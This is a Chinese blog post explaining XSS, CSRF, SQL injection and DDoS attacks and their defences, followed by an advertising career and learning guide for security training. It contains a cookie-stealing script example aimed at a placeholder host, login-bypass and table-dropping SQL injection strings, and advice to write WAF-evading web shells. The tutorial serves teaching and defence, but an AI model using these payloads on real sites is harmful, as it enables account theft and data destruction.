️常见WEB攻击与防御

mixkit-exhausted-man-in-front-of-a-computer-with-his-head-69-original-large.jpeg

作为一个web开发者,web安全是需要了解的,web攻击是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。从互联网诞生起,网络安全威胁就一直伴随着网站的发展,各种web攻击和信息泄露也从未停止。本文介绍常见web攻击方式及预防措施。

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

XSS

跨站脚本攻击指攻击者在网页中嵌入恶意脚本,当用户打开网页时,恶意脚本开始执行,盗取用户cookie,用户名密码等信息

比如在一个发布内容系统中,攻击者在内容中嵌入类似的代码<script>window.open('www.xxx.com?param=' + document.cookie)</script>,当用户访问这个页面的时候,就会执行恶意代码,该用户的cookie就会被发送到攻击者的服务器。

预防措施:

  • 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
  • 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
  • 对数据进行Html Encode处理,如<转化为&lt;、&转化为&amp;
  • 过滤或移除特殊的Html标签,如:script、iframe;
  • 过滤JavaScript事件的标签,如“οnclick=”、“onfocus”等。

CSRF

跨站请求伪造指通过盗用用户信息以用户的名义向第三方网站发起恶意请求,盗取账号,转账,发送信息,删除数据等

用户登录信任站点A -> 未退出访问恶意站点B -> 从站点B发起访问站点A的恶意请求 img 预防措施:

  • Cookie设置HttpOnly,JS就无法读取到cookie中的信息,避免攻击者伪造cookie的情况出现。
  • 不使用cookie验证,改token方式验证
  • 通过referer识别,验证页面是否是信任站点

SQL注入

SQL注入攻击是指把SQL语句伪装成正常的http请求,欺骗服务器执行恶意的SQL语句,达到入侵目的。

  • ' or '1'= '1。这是最常见的sql注入攻击,当我们输入用户名 jiajun ,然后密码输入'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。
  • 但是如果再严重一点,密码输入的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了

预防措施:

  • 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。
  • 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等
  • 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。

DDOS

分布式服务攻击,借助公共网络,将数量庞大的计算器设备(肉鸡)联合起来,对一个或多个目标发动攻击,从而达到瘫痪目标主机的目的。

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接收到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。
  • DNS query flood 攻击者伪造大量无效域名,发送给目标服务器解析,这些域名均为无效域名,导致DNS服务器耗用大量资源去处理这些无效域名,造成DNS解析域名超时,达到攻击目的。

预防措施:

  • 增加带宽,但是带宽非常昂贵
  • 异常流量的清洗过滤
  • 过滤不必要的服务和端口
  • 高防智能DNS解析
  • 部署CDN

总结

以上只是列举了常见的web攻击方式,都是比较常见的web安全话题,以及一些防范方案实际开发过程中还会遇到很多安全问题,对于这些问题,我们都不可忽视,服务器上任何一个应用的漏洞都有可能是黑客攻陷服务器的突破口。除上述常见的几种方式,还有很多web安全话题,有兴趣的同学可以继续研究。

题外话

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

关于网络安全学习指南

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以在下方扫码领取!!

  • 15
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值